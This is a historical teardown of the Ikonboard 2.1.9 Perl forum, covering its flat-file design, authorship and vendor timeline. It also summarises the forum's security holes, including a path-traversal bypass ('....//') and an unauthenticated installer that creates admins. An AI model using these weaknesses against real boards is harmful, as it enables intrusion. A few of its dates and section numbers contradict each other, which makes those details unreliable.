Ikonboard 2.1.9 Beta — complete teardown

A complete teardown of Ikonboard 2.1.9 Beta (Matthew Mecham, June 2001), the Perl CGI forum that ran FinalFantasyFanatic.com: the flat-file architecture, all 32 scripts, every on-disk record format, 23 security findings by modern standards, the authorship and Invision Power Board lineage, and the September 2001 patch for the Unix billion-second rollover.

From the desktop window

ikonboard-2.1.9-teardown.txt — Ikonboard 2.1.9 Beta complete teardown

ikonboard-2.1.9-teardown.txtOpen in new tab

ikonboard-2.1.9-teardown.txt — Ikonboard 2.1.9 Beta complete teardown

Original text document

# Ikonboard 2.1.9 Beta -- complete teardown

A Perl CGI web forum, released 7 June 2001 by Ikonboard.com of Gosport,
Hampshire. Free software, no database, plaintext passwords, 15,526 lines of
Perl with HTML in string literals. It ran tens of thousands of communities and
then the whole category disappeared.

This is a full teardown of the distribution: architecture, every script, every
on-disk record format, the security model measured against modern standards,
who wrote it and what became of them, and what this particular surviving copy
reveals about the night somebody patched it.

The distribution is preserved at <https://archive.org/details/ib219>.

Written August 2026. Sources, uncertainties and acknowledgements are in
section 12.

---

## Revision history

| Version | Date | Change |
|---|---|---|
| 1.0 | 08/15/2026 | Initial release. Teardown of the distribution: sections 1-8, plus method, toolchain and acknowledgements. |
| 1.1 | 08/16/2026 | Added **section 9, Field evidence** -- the records of a board that ran 2.1.9 in production and the June 2002 failure that ended it. Method, toolchain and acknowledgements renumbered 9-11 to 10-12. Section 9 carries its own revision block; its open item on Wayback Machine corroboration is unresolved. |

---

## Contents

| | |
|---|---|
| 1 | [What it is](#1-what-it-is) -- the shape of the thing, and why this copy matters |
| 2 | [History and authorship](#2-history-and-authorship) -- Matt Mecham, the dev team, the Invision lineage, the CVEs |
| 3 | [Architecture](#3-architecture) -- CGI, flat files, config as executable code, the broken locking |
| 4 | [Script reference](#4-script-reference) -- all 32 scripts, every action endpoint |
| 5 | [Data formats](#5-on-disk-data-format-specification) -- every on-disk record, field by field |
| 6 | [Security](#6-security-teardown) -- 23 findings, 3 critical, by modern standards |
| 7 | [Installation and operation](#7-installation-hosting-and-day-to-day-operation) -- how you ran one of these in 2001 |
| 8 | [Archaeology](#8-archaeology) -- the .bak diffs and the billion-second patch |
| 9 | [Field evidence](#9-field-evidence) -- one board that ran it, and how it died |
| 10 | [How to reproduce this](#10-how-to-reproduce-this) -- the method |
| 11 | [The toolchain](#11-the-toolchain) -- all seven analysis scripts in full |
| 12 | [About this teardown](#12-about-this-teardown) -- uncertainties, acknowledgements, corrections |

Sections 4, 5 and 6 are reference material and long. Sections 1, 3 and 8 are
the ones to read if you only read three.

---

## 1. What it is

**Ikonboard 2.1.9 Beta** is a web forum written in Perl, released on or about
**7 June 2001** by Ikonboard.com of Gosport, Hampshire, England. It was free
for personal and commercial use; GBP 200 bought you the right to remove the
copyright link from the footer.

It was written by **Matthew Mecham**, whose name appears in the copyright
banner of all 34 Perl files -- `# All files written by Matthew Mecham`. Eight
months after this release he co-founded Invision Power Services and built
**Invision Power Board**, the commercial forum package that became Ikonboard's
successor and outlived it by twenty years. Ikonboard 2.1.x is the code he
wrote immediately before that, which makes this distribution a useful thing to
have preserved: it is the last complete Perl-era snapshot of a lineage that
continues, in PHP, to this day.

By 2.1.9 he was not working alone. The admin center credits a ten-person iB 2
development team by handle, and the changelog credits three of them for
specific fixes in this release -- none of which the file headers ever
acknowledged. Section 2 has the verbatim credits.

It ran on shared hosting that offered nothing but a `cgi-bin` and a Perl
interpreter. There is no database, no daemon, no framework, and no dependency
outside core Perl. Every page view forks a fresh process, reads flat text
files off disk, prints HTML to stdout, and exits. Configuration is stored as
Perl source code that the application generates and then executes. Passwords
are stored in plaintext and carried in a cookie.

Between roughly 1999 and 2003 this architecture -- or something very close to
it -- was what a forum *was*. Ikonboard, UBB, YaBB and their kin ran tens of
thousands of communities, and Ikonboard's own support board had grown past
5,000 members by May 2001. Then PHP and MySQL became universally available on
cheap hosting, phpBB and vBulletin arrived, and the entire category was gone
within about four years.

This document is a complete teardown of the distribution: what every script
does, how the data is laid out on disk, how the whole thing was built and
operated, who wrote it, what happened to them, and -- at length -- every way it
would fall over if you exposed it to the modern internet.

#### The distribution

145 files, 839,181 bytes unpacked. 34 Perl programs and libraries totaling
**15,526 lines**. 78 GIFs. Six shipped data files, fifteen help texts, five
documents.

```
ib219/
+-- cgi-bin/
|   +-- ikon.lib              the core library -- 1,127 lines, 35 subs
|   +-- ikonadmin.lib         admin authentication
|   +-- ikonmail.lib          mail, adapted from Milivoj Ivkovic's sendmail.pm
|   +-- install.cgi           a four-step installer with real diagnostics
|   +-- ikonboard.cgi         board index          -+
|   +-- forums.cgi            forum view            |
|   +-- topic.cgi             topic list            +- the public board
|   +-- postings.cgi          thread display        |
|   +-- post.cgi              composer             -+
|   +-- register.cgi profile.cgi loginout.cgi misc.cgi whosonline.cgi
|   +-- messenger.cgi         private messages
|   +-- search.cgi newposts.cgi printpage.cgi ikonfriend.cgi privacy.cgi
|   +-- admincenter.cgi       -+
|   +-- set{forums,members,styles,variables,badwords,membertitles}.cgi
|   +-- settemplate.cgi announcements.cgi forumoptions.cgi
|   +-- viewip.cgi checkboard.cgi checklog.cgi help.cgi
|   +-- data/                 config as executable Perl + shipped text
|   +-- help/                 15 help files, two naming conventions
|   +-- members/              (empty -- one file per member at runtime)
|   +-- messages/             (empty -- private message store)
+-- non-cgi/
|   +-- images/               51 interface GIFs
|   +-- emoticons/            9 emoticons
|   +-- avatars/              18 avatars, alphabetical, stopping at F
+-- upgrading/                the 2.1.5 -> 2.1.9 format converter
+-- README.txt  Changes.txt  license.html
+-- first_install.html  help.html
```

#### What makes this copy worth documenting

This copy was never installed -- no board ever ran from it, which section 8
establishes from the files that are missing. But it is not the stock 7 June
release either. Four files postdate it, and the newest of them tells a story
the rest of the archive cannot.

`ikon.lib` carries a modification time of **epoch 1000009398** -- two hours,
thirty-six minutes and thirty-eight seconds after Unix time first reached ten
digits on 9 September 2001. The three-line diff against its own backup is a
fix for exactly that event: Ikonboard sorted forum topics by comparing
timestamps as **strings**, so the moment `999999999` became `1000000000`, every
newly-posted thread sorted below every old one and active discussions vanished
from the top of every forum on every board running this software.

The file that fixes the ten-digit timestamp bug is itself stamped with the
first ten-digit timestamp. That is the find, and section 8 documents it in
full -- including why the patch has to have come from Ikonboard.com rather than
from any administrator running the software.

#### The one-paragraph security summary

Passwords are stored as plaintext in field 2 of a pipe-delimited member file,
compared with `eq`, and written to a 30-day cookie that is re-sent on every
request. There are no session identifiers of any kind -- identity *is* the
username and password, held by the browser. CSRF protection consists of
checking the `Referer` header and then, if the check fails, **writing a log
entry and processing the request anyway**. The XSS filter neutralizes the
literal string `<script>` and little else. The path sanitizer is a
character blocklist that permits `/`, ignores NUL bytes, and strips `..` in a
single pass, so `....//` survives as `../`. `install.cgi` remains present and
unauthenticated after setup and will mint a new administrator on request.
Twenty-three findings are catalogd in section 6, three of them Critical.

None of this was unusual in 2001, and most of it has a modern countermeasure
that exists specifically because of software built this way.

#### A note on what follows

Ikonboard was good at its job. It installed in ten minutes on hosting that
could not run anything else, its installer diagnosed its own failure modes
better than a great deal of current software does, and it worked well enough
that people built communities on it that outlasted the company. The chapters
below are detailed about its failures because that detail is the historical
record -- not because the people who wrote it in 2001 should have known better
than 2001 did.

---

## 2. History and Authorship

### Sourcing conventions used in this chapter

Because much of what is written about turn-of-the-millennium forum software online is
recollection rather than record, every factual claim below carries one of three markers:

| Marker | Meaning |
|---|---|
| **[SRC]** | Evidenced by the local 2.1.9 source tree. A `file:line` citation follows. Reproducible by anyone holding the same distribution. |
| **[WEB]** | Verified against a web source, cited inline by URL. |
| **[UNVERIFIED]** | Community recollection, or a claim I could not corroborate to a primary or reliable secondary source. Treat as a lead, not a fact. |

The local tree under examination is `ib219/` -- an unpacked 2.1.9 distribution that was
never installed. See [section 3.1](#31-what-this-particular-copy-is) for the proof, and for what that
fact settles about the file dates.

---

### 2.1 What Ikonboard was

Ikonboard was a web bulletin board written in Perl, distributed as a set of CGI scripts to be
dropped into a shared-hosting `cgi-bin`, storing all of its data in flat files on disk. There is no
database anywhere in the 2.1.x distribution -- forums, topics, posts, members, private messages, and
session state are all pipe-delimited text records in nested directories.

The installation instructions are a fair portrait of the era's deployment model **[SRC]**
(`first_install.html`):

> You'll need some Webspace (about 20megs) that has Perl 5.005 enabled. [...] You'll also need your
> path to perl, it's usually '#!/usr/bin/perl', if you are unsure ask your web host.

(Quoted in full, with the rest of the requirements, in [section 7.1](#71-what-it-needed).)

-- followed by instructions to `chmod 0777` four directories. That combination -- Perl 5.005, FTP,
world-writable data directories, no database -- is the whole architectural argument of this teardown
in one paragraph, and it is also, as [section 2.6](#26-documented-security-history) shows, the whole security
story.

The feature set was competitive for 2001: private forums, polls, a built-in private-messaging
"Messenger", moderation tools, avatars, member titles and rank pips, BBCode ("iB Code"),
templates and skins, a bad-word filter, and an emailed "send this topic to a friend" function.
The marketing copy on ikonboard.com in June 2001 leaned on exactly that **[WEB]**
([Wayback, 2001-06-18](https://web.archive.org/web/20010618135943/http://www.ikonboard.com/)):

> We've not cut corners on features, everything you find in most commercial bulletin board systems
> you'll find here. Extensive moderation features, complete administration control, polls, user
> control panels, built in messenger, everything you need to run a successful discussion board.

The same capture carries a download counter: **"69,912 downloads of Ikonboard since 17-12-00!"**
**[WEB]** -- i.e. roughly 70,000 downloads in the six months before 2.1.9 shipped. That is a useful
anchor for how widely deployed this code was.

#### 1.1 Version string oddity

The internal version string and the documentation disagree.

`ikon.lib:12` sets **[SRC]**:

```perl
  $versionnumber = "2.1.9 Beta";
```

but `first_install.html` welcomes the user to "Ikonboard v2.1.9", `Changes.txt` heads its newest
section "Version 2.1.9", and `README.txt` closes with "IkonBoard 2.1.9 is Copyright IkonBoard.com
2001." Nothing in the documentation calls the release a beta. Because `$versionnumber` is
interpolated into the mandatory "Powered by Ikonboard" footer on every generated page
(`ikon.lib:862`, `ikon.lib:874`) **[SRC]**, every board running this release advertised itself
publicly as "Ikonboard 2.1.9 Beta" regardless of what the docs said.

The placement of that line is itself telling. It sits *inside* the comment banner, wedged between
the authorship line and the closing rule **[SRC]** (`ikon.lib:1-13`):

```perl
#############################################################
# IkonBoard v2.1
# Copyright 2001 Ikonboard.com - All Rights Reserved
# Ikonboard is a trademark of Ikonboard.com Group
#
# Software Distributed by: Ikonboard.com
# Visit us online at http://www.ikonboard.com
# Email us on boards@ikonboard.com
#
# All files written by Matthew Mecham
  $versionnumber = "2.1.9 Beta";
#############################################################
```

A live statement of executable code inside a decorative banner block is not where a version constant
is designed to live; it is where a version constant ends up when someone is bumping it by hand under
time pressure. The "Beta" suffix is most plausibly a release-engineering leftover that was never
stripped **[UNVERIFIED]** -- I found no contemporaneous statement from the project explaining it.

Note also that `ikon.lib` alone says "trademark of Ikonboard.com **Group**" and "**IkonBoard** v2.1",
where all 31 `.cgi` files say "trademark of Ikonboard.com" and "Ikonboard v2.1" **[SRC]**. The library
banner was maintained separately from the script banners.

---

### 2.2 Authorship

#### 2.1 The header claim, and where it breaks

Every executable file in the distribution carries a nine-line copyright banner ending in the line
`# All files written by Matthew Mecham`. I checked all 34 Perl files (31 `.cgi` in `cgi-bin/`, 3
`.lib`, plus the two `.bak` files). The result **[SRC]**:

| Finding | Files | Evidence |
|---|---|---|
| Standard banner, `# All files written by Matthew Mecham` | 31 of 34 | e.g. `admincenter.cgi:12`, `ikonboard.cgi:12`, `ikon.lib:11` |
| **Banner qualified**, plus a second author credited | 1 | `ikonmail.lib:10, 16` |
| **Stale banner** -- 2000 copyright, and a *different product name* | 1 | `install.cgi:9-10` |
| **No banner at all** | 1 | `upgrading/update_forums.cgi` |

The three exceptions are each worth something.

**`ikonmail.lib`** is the only file whose authorship line is hedged, and the only one that credits an
outside author **[SRC]** (`ikonmail.lib:10-17`):

```perl
# All files written by Matthew Mecham (Unless otherwise stated)
#############################################################

#
# Mail function library. Some functions based on sendmail.pm
#
#                      By Milivoj Ivkovic
#
##############################################################
```

So the SMTP transport -- the code that actually spoke to a mail server -- was adapted from Milivoj
Ivkovic's `sendmail.pm`, and the project said so. This is the single point in the tree where the
blanket "all files written by" claim is explicitly withdrawn, which suggests the claim elsewhere was
meant seriously rather than as boilerplate.

**`install.cgi`** preserves an older banner **[SRC]** (`install.cgi:8-10`):

```perl
# Ikonboard v2.1
# Copyright 2000 Ikonboard.com - All Rights Reserved
# Ikondiscussion is a trademark of Ikonboard.com
```

Two fossils here: a 2000 copyright year that was never refreshed, and the product name
**Ikondiscussion**. That corroborates from inside the source the web record that early Ikonboard
development happened at **ikondiscussion.com** before moving to ikonboard.com **[WEB]**
([Wikipedia: Ikonboard](https://en.wikipedia.org/wiki/Ikonboard)). The Wayback Machine's earliest
capture of `ikondiscussion.com` is **2000-10-11** **[WEB]**
([Wayback CDX](http://web.archive.org/cdx/search/cdx?url=ikondiscussion.com)), against
**2001-03-22** for `ikonboard.com` -- consistent with the documented March 2001 move.

**`upgrading/update_forums.cgi`** carries no banner, no copyright, and no author line at all -- it
opens straight into `use CGI` **[SRC]**. It is a one-shot migration utility, and it looks like one:
written for the upgrade, not for the product.

**Conclusion on the header claim:** substantially true as a statement about the original codebase --
Mecham wrote it -- but *not* true as a statement about the 2.1.9 distribution as shipped, which
contains third-party mail code and a body of contributed fixes that the banner does not
acknowledge. The acknowledgement lives elsewhere, in `admincenter.cgi`.

#### 2.2 The primary author

**Matthew "Matt" Mecham**, of Gosport, Hampshire, UK. He is named in the source as the author
(34 banners), as the sole "Programming and Design" credit in the admin center
(`admincenter.cgi:177`), and as the commercial contact for paid licensing --
`license.html:28` directs licensing inquiries to `matt@ikonboard.com` **[SRC]**.

Contemporary corroboration outside the tree: the archived ikonboard.com team page carries the HTML
comment **"Ikonboard code is the property of Matthew Mecham"** **[WEB]**
([Wayback, 2001-04-24](https://web.archive.org/web/20010424095657/http://www.ikonboard.com/team/)).

Mecham's own account, in an April 2004 interview: he began programming at nine in BASIC, started
"writing modifications for a freeware bulletin board back in 1999", then learned Perl and built
Ikonboard because he "wasn't satisfied with the current market" **[WEB]**
([David Mytton, *Interview -- Matt Mecham of IPS*](https://davidmytton.blog/interview-matt-mecham-of-ips/)).
He was 27 at the time of that interview, placing his birth around 1976-77 **[WEB]**.

He is far better known for what he did next. See [section 2.4](#24-the-invision-power-board-lineage).

#### 2.3 The 2.1.x development team -- primary-source credits

This is the most valuable authorship evidence in the distribution. `Changes.txt:19` lists, among the
2.1.9 changes, "Added Dev Team info to main page of admincenter.cgi" **[SRC]** -- and that block is
present. It renders on the admin center landing page, beneath the board statistics.

Verbatim, from `admincenter.cgi:177-180` **[SRC]** (HTML as in source; note that line 180 is
tab-indented where 177-179 are space-indented -- see [section 3.2](#32-multiple-hands)):

> ```html
>                 <b>Programming and Design by:</b> Matthew Mecham<br>
>                 <b>Pre-beta testing by:</b>Debbie Ruff<br>
>                 <b>Beta release testing by:</b>Ken, Luc and Josh<br>
> 		<b>iB 2 Development Team:</b>Stewart, Peter, Ahnteis, Bakhtaar, DingDang, LarryC, Marten, OmarSerenity, SmileyMan & Steve S
> ```

Rendered as displayed to an administrator:

> **Programming and Design by:** Matthew Mecham
> **Pre-beta testing by:** Debbie Ruff
> **Beta release testing by:** Ken, Luc and Josh
> **iB 2 Development Team:** Stewart, Peter, Ahnteis, Bakhtaar, DingDang, LarryC, Marten, OmarSerenity, SmileyMan & Steve S

`README.txt:18-19` points explicitly at this list as the release's credit roll **[SRC]**:

> This release is thanks to the great effort, knowledge and determination of the IkonBoard 2
> Development team. Those involved are listed on the admincenter main page. Thanks to all of them.

Four of those handles also receive specific per-change credit in `Changes.txt` **[SRC]**:

| Contributor | Change credited | Line |
|---|---|---|
| **LarryC** | "Maintenance Mode is now a feature, used through variables setup." | `Changes.txt:13` |
| **LarryC** | "Font sizes can now be edited by the Admin through admincenter.cgi" | `Changes.txt:15` |
| **Peter** | "Messenger is now spelt correctly." | `Changes.txt:17` |
| **SmileyMan** | "a huge rewrite of processing routines to try and stop disappearing threads" | `Changes.txt:22` |

An exhaustive grep of the whole tree for names, handles, email addresses and comment signatures
turns up **no other credited individuals** -- the only human names anywhere in the distribution are
Matthew Mecham, Milivoj Ivkovic, Debbie Ruff, and the handles above **[SRC]**. Email addresses in the
tree reduce to four project addresses (`boards@`, `support@`, `info@`, `matt@` -- all `@ikonboard.com`)
plus two documentation placeholders **[SRC]**.

#### 2.4 Corroborating the handles

Two of the dev-team handles can be matched to real first names via the archived ikonboard.com team
photo page **[WEB]** ([Wayback,
2001-04-24](https://web.archive.org/web/20010424095657/http://www.ikonboard.com/team/)), which
captions its photos:

> The slightly scary iB team photo page (well, those who were brave/stupid enough to send in a photo!)
>
> Matt * Heartcall (Ken) * Soeren * Joe * Peter * Camikaze (Stewart)

Cross-referencing that against `admincenter.cgi:177-180`:

| Site handle | Real name (per site) | Appears in admincenter credits as |
|---|---|---|
| Camikaze | Stewart | **Stewart** (dev team, listed first) |
| Peter | Peter | **Peter** (dev team) |
| Heartcall | Ken | **Ken** (beta release testing) |
| Matt | Matt | **Matthew Mecham** |
| Soeren | -- | not in the 2.1.9 credits |
| Joe | -- | not in the 2.1.9 credits |

That is a solid three-way match. The remaining handles -- **Ahnteis, Bakhtaar, DingDang, LarryC,
Marten, OmarSerenity, SmileyMan, Steve S** -- and the testers **Luc** and **Josh**, plus pre-beta
tester **Debbie Ruff**, I could **not** resolve to real identities from any surviving source
**[UNVERIFIED]**. The natural place to look would be `forums.ikonboard.com` member profiles from
2001, which the Wayback Machine holds only sparsely and which are behind board URLs that were not
comprehensively crawled.

One further caution: the 2002 "Team Ikonboard" roster archived at ikonboard.com lists an entirely
different set of volunteer staff (Brush, Ayin, Breadfan, Darkone, David-iB, dnekm, DragoonKain,
h1995vn, LSGN, Semper Lizardo, Victor von Steiner, jimrobnor, jamble, wbagent, BGF, Britishguy87),
with the **Development Team heading empty** **[WEB]** ([Wayback,
2002-06-05](https://web.archive.org/web/20020605064230/http://www.ikonboard.com/?team)). None of the
2.1.9 dev team appear on it. Whatever the 2.1.9 team was, it did not survive into mid-2002 -- which
tracks the departures described in [section 2.4](#24-the-invision-power-board-lineage).

#### 2.5 The business model, from `license.html`

`license.html` is a two-tier proprietary-freeware license **[SRC]**:

| Tier | Price | Lines |
|---|---|---|
| Personal use | GBP 0.00 (Free) | `license.html:18` |
| **Commercial** use | GBP 0.00 (Free) | `license.html:19` |
| Removing the copyright link | **GBP 200.00** | `license.html:25` |

> This will enable you to remove the copyright information links and link to ikonboard.com present
> in all the .cgi generated files. -- `license.html:26-27`

The manufacturer address is given as **"Ikonboard.com, 69 Brockhurst Road, Gosport, Hants, PO12 3AR,
UK"** (`license.html:172`), and the license is governed by UK law (`license.html:167-168`) **[SRC]**.

Three things follow from this, and they are the commercial thesis of the whole project:

1. **The product was not the revenue; the backlink was.** Free for commercial use is an aggressive
   position in 2001 -- vBulletin was paid, UBB was paid. Ikonboard bought market share and monetized
   the *removal* of its own advertising. GBP 200 is a branding fee, not a software fee.
2. **The license enforces the ad.** "you must ensure that the Ikonboard copyright notice, and links
   back to ikonboard.com are left intact and are visable" (`license.html:40-42`) -- and the mechanism
   is `ikon.lib`, which prints the "Powered by Ikonboard $versionnumber" footer link on every page
   (`ikon.lib:784`, `:862`, `:874`) **[SRC]**. The version string oddity in
   [section 1.1](#11-version-string-oddity) therefore leaked onto tens of thousands of live boards.
3. **A UK residential address.** Brockhurst Road, Gosport is a residential street. In April 2001 --
   about when this address was written into the license -- the project was in the process of being
   acquired (see [section 2.3](#23-timeline)). The license file preserves the moment just before Ikonboard
   stopped being a one-man operation run from a house on the south coast.

---

### 2.3 Timeline

Rows marked **[SRC]** derive from the local tree, including file modification times, which appear
to be preserved from the original distribution archive. **[WEB]** rows cite the source inline.

| Date | Event | Basis |
|---|---|---|
| **Sep 1999** | Ikonboard 0.9 beta released by Matt Mecham; Perl, flat-file | **[WEB]** [Wikipedia](https://en.wikipedia.org/wiki/Ikonboard) |
| 1999 | Mecham begins by writing modifications for an existing freeware bulletin board | **[WEB]** [Mytton interview](https://davidmytton.blog/interview-matt-mecham-of-ips/) |
| **2000** | Development hosted at **ikondiscussion.com**; product briefly branded "Ikondiscussion" | **[SRC]** `install.cgi:10` * **[WEB]** [Wayback CDX, first capture 2000-10-11](http://web.archive.org/cdx/search/cdx?url=ikondiscussion.com) |
| 2000-09-24 | `cgi-bin/index.html` (directory-listing stub) last modified -- oldest file in the tree | **[SRC]** file mtime |
| **2000-12-17** | Download counter epoch -- ikonboard.com counts "downloads of Ikonboard since 17-12-00" | **[WEB]** [Wayback 2001-06-18](https://web.archive.org/web/20010618135943/http://www.ikonboard.com/) |
| **Jan 2001** | **CVE-2001-0076** -- `register.cgi` remote command execution via `SEND_MAIL` (2.1.7b and earlier) | **[WEB]** [CVE-2001-0076](https://www.cvedetails.com/cve/CVE-2001-0076/) |
| **Mar 2001** | ikondiscussion.com server crash; most data recovered by April; project relocates to ikonboard.com | **[WEB]** [Wikipedia](https://en.wikipedia.org/wiki/Ikonboard) |
| **2001-03-11** | Martin J. Muench publishes the `help.cgi` "show files" arbitrary-file-read advisory against 2.1.7b (later **CVE-2001-0360**) | **[WEB]** [Bugtraq 2001/Mar/152](https://seclists.org/bugtraq/2001/Mar/152) |
| 2001-03-22 | First Wayback capture of `ikonboard.com` | **[WEB]** [Wayback CDX](http://web.archive.org/cdx/search/cdx?url=ikonboard.com) |
| *(undated, early 2001)* | **v2.1.8 r2** emergency release -- "Due to the recent slew of kiddie-wannabe hackers and the delay in completing iB3"; "Security Fixes in several scripts" | **[SRC]** `Changes.txt:56-90` |
| *(undated)* | **v2.1.8 r2.1** -- "New Developing Team behind IkonBoard 2"; includes "Private Forums Security Patch - In forums.cgi and topic.cgi" | **[SRC]** `Changes.txt:44-53` |
| **Late Apr 2001** | Ikonboard joins the **Jarvis Network**; Mecham sells Ikonboard to **Jarvis Entertainment Group** for 50,000 shares of JEG common stock | **[WEB]** [Wikipedia](https://en.wikipedia.org/wiki/Ikonboard) |
| 2001-04-24 | ikonboard.com team page archived: Matt * Heartcall (Ken) * Soeren * Joe * Peter * Camikaze (Stewart) | **[WEB]** [Wayback](https://web.archive.org/web/20010424095657/http://www.ikonboard.com/team/) |
| **2001-05-02 -> 06-07** | The 2.1.9 build window -- every shipped script's mtime falls in this range | **[SRC]** file mtimes |
| 2001-05-04 | `license.html` finalized (GBP 200 copyright-removal tier, Gosport address) | **[SRC]** file mtime |
| 2001-06-01 | `admincenter.cgi` modified -- the release in which the Dev Team credit block was added | **[SRC]** file mtime + `Changes.txt:19` |
| 2001-06-04 | `README.txt` written | **[SRC]** file mtime |
| **2001-06-07 16:15** | `Changes.txt` finalized for 2.1.9 | **[SRC]** file mtime |
| **2001-06-07 20:25 / 20:27** | `post.cgi.bak` then `post.cgi` -- a fix applied **two minutes** before the distribution was sealed | **[SRC]** file mtimes + diff |
| *(~ Jun 2001)* | **v2.1.9** released. Documented as "2.1.9"; internally strings itself "2.1.9 Beta" | **[SRC]** `Changes.txt:7`, `ikon.lib:12`. *Exact public release date not corroborated externally* **[UNVERIFIED]** |
| 2001-06-18 | ikonboard.com footer reads "Site Design and Content (c) Jarvis Entertainment Group, Inc"; 69,912 cumulative downloads | **[WEB]** [Wayback](https://web.archive.org/web/20010618135943/http://www.ikonboard.com/) |
| **2001-09-03** | Chen Jun discovers the `Search.cgi` cookie directory-traversal flaw | **[WEB]** [Bugtraq](https://marc.info/?l=bugtraq&m=100446445208739&w=2) |
| **2001-09-09 04:23 UTC** | `ikon.lib` in *this* tree last modified -- epoch **1000009398**, i.e. 2h36m *after* the billion-second rollover | **[SRC]** file mtime. Provenance ambiguous, see [section 3.1](#31-what-this-particular-copy-is) |
| **2001-10-30** | **CVE-2001-0841** published -- cookie traversal explicitly naming **"Ikonboard ib219 and all older versions"** | **[WEB]** [CVE-2001-0841](https://app.opencve.io/cve/CVE-2001-0841) * [Bugtraq](https://marc.info/?l=bugtraq&m=100446445208739&w=2) |
| **Feb 2002** | **Invision Power Services founded** by Matt Mecham and Charles Warner after leaving JEG | **[WEB]** [Mytton interview](https://davidmytton.blog/interview-matt-mecham-of-ips/) * [Wikipedia](https://en.wikipedia.org/wiki/Invision_Community) |
| **2002-06-12** | Ikonboard 3.1 released by JEG; PHP version announced | **[WEB]** [Wikipedia](https://en.wikipedia.org/wiki/Ikonboard) |
| Sep 2003 | Bugtraq: IkonBoard 3.1.1/3.1.2a arbitrary command execution | **[WEB]** [Bugtraq 2003/Sep/248](https://seclists.org/bugtraq/2003/Sep/248) |
| Oct 2003 | JEG chairman John Jarvis removed from the company | **[WEB]** [Wikipedia](https://en.wikipedia.org/wiki/Ikonboard) |
| **2004-12** | **CVE-2004-1406** -- `ikonboard.cgi` SQL injection via `st` / `keywords`, Ikonboard 3.1.0-3.1.3 | **[WEB]** [GHSA-xgvq-66rg-gv8q](https://github.com/advisories/GHSA-xgvq-66rg-gv8q) * [Bugtraq](https://marc.info/?l=bugtraq&m=110321654705580&w=2) |
| Feb 2004 | JEG renames itself **Westlin Corporation** | **[WEB]** [Wikipedia](https://en.wikipedia.org/wiki/Ikonboard) |
| Summer 2005 | John Jarvis sues Westlin to reclaim Ikonboard | **[WEB]** [Wikipedia](https://en.wikipedia.org/wiki/Ikonboard) |
| Sep-Oct 2005 | Server downtime; staff depart; downloads discontinued | **[WEB]** [Wikipedia](https://en.wikipedia.org/wiki/Ikonboard) |
| 2005-10-28 | Jarvis regains ownership; site offline until December | **[WEB]** [Wikipedia](https://en.wikipedia.org/wiki/Ikonboard) |
| Dec 2005 | Relaunch under "Pitboss Entertainment"; Mar 2006 moves to "Level 6 Studios" | **[WEB]** [Wikipedia](https://en.wikipedia.org/wiki/Ikonboard) |
| 2006-01-30 | Ikonboard 3.1.3 released, adding a "Humain Readable Image (HRI)" CAPTCHA on registration | **[WEB]** [Wikipedia](https://en.wikipedia.org/wiki/Ikonboard) |
| 2006-05-30 | Ikonboard 3.1.5 released -- the team's parting update, "a few bug fixes and security patch" | **[WEB]** [Wikipedia](https://en.wikipedia.org/wiki/Ikonboard) |
| **2006-09-10** | The remaining Ikonboard team departs and launches **IkonForums** | **[WEB]** [Wikipedia](https://en.wikipedia.org/wiki/Ikonboard) |
| Sep 2009 | Joshua Johnson assumes ownership | **[WEB]** [Wikipedia](https://en.wikipedia.org/wiki/Ikonboard) |
| Jun 2010 | Ikonboard 3.1.5A -- final release | **[WEB]** [Wikipedia](https://en.wikipedia.org/wiki/Ikonboard) |
| **~ Jul-Oct 2018** | ikonboard.com (by then a WordPress brochure page, "(c) 2018 Ikonboard") begins returning HTTP 500, then only redirects | **[WEB]** [Wayback CDX](http://web.archive.org/cdx/search/cdx?url=ikonboard.com) |

#### 3.1 What this particular copy is

**This tree was never installed.** Ikonboard generates a specific set of files the first time it
is set up and used, none of which ship in the zip. Not one of them is present **[SRC]**:

| Generated file | Created by | Why a deployed board must have it |
|---|---|---|
| `data/boardinfo.cgi` | `install.cgi` step 3 | `require`d by all 32 scripts at startup |
| `data/onlinedata.dat` | `ikon.lib` `sub whosonline` | rewritten on **every** page view, including a guest's |
| `data/boardstats.cgi` | install / runtime | `require`d by `ikonboard.cgi` for the totals line |
| `data/allforums.cgi` | `setforums.cgi` | the forum table, read on every board page |
| `data/hacklog.cgi` | `checkVALIDITY` / `systemerror` | appended on referer mismatch, never rotated |

`data/` contains exactly the six files the distribution ships and nothing else; `members/` is
empty; `messages/` holds only its anti-directory-listing `index.html` stub; there are no
`forumN/` directories.

The first row is decisive on its own. Every script wraps its startup in
`eval { ... require "data/boardinfo.cgi"; ... }` and prints *"Could not find these files"* if the
`eval` throws (`ikonboard.cgi:22-34`) **[SRC]**. Without that file **not a single page of this
board could ever have been served**. The second row is an independent confirmation from the
opposite direction: `onlinedata.dat` is rewritten by any visitor loading any page, so its absence
means zero page views ever occurred.

So this is a pristine, unpacked download -- not a deployed board.

Two further observations follow from the mtimes **[SRC]**:

- Every shipped script falls in **2001-05-02 -> 2001-06-07**, consistent with an unpacked
  distribution archive with mtimes preserved.
- **`ikon.lib` is dated 2001-09-09 04:23:18 UTC** (epoch 1000009398), three months later than every other file, and later than its
  own backup `ikon.lib.bak` (2001-06-03). Diffing them shows three small changes: a zero-padding
  guard on `$lastpostdate`, a `$checkdat` count guard, and a corresponding relaxation of the "Data
  as corrupted on the server" error condition (`ikon.lib:1046`, `:1053`, `:1059` vs
  `ikon.lib.bak`). These are all in `sub rebuildLIST` -- the thread-index rebuild, i.e. the
  "disappearing threads" area.

That September patch is **very likely an official, vendor-issued fix** -- though the tree cannot
prove it beyond doubt **[SRC]**. What it does establish is that no administrator of *this* copy hit
the bug in production, because this copy was never installed. It does not exclude a third party
patching an unpacked master without installing it (fixes circulated as forum posts, per
`README.txt`). What favors the vendor reading is that `help.html` describes the project doing
exactly this:

> We do however, try to update the downloadable zip file every time a new bug is found.

The backup files establish something adjacent but distinct: that the *tree* was assembled at
ikonboard.com. `ikon.lib.bak` is dated **2001-06-04**, three days *before*
the 2001-06-07 release -- a date no downloader could possibly hold, because the release did not
exist yet. These are the maintainer's own working files, packaged with the distribution. That
fixes the tree's origin; it does not by itself fix the authorship of a September edit made
three months later.

The changes are also stylistically consistent with the SmileyMan rewrite
(see [section 3.2](#32-multiple-hands)) and squarely on the theme `README.txt:6-9` flags as the release's
headline problem.

What remains genuinely unknown **[UNVERIFIED]**: whether the September edit was made by the
project or by a third party working on an unpacked copy; whether this particular zip was
fetched from ikonboard.com or a mirror; and whether the project ever re-versioned the patched
download -- it did not bump `$versionnumber`, which still reads `2.1.9 Beta`, so a September
download would have been indistinguishable by version from a June one.

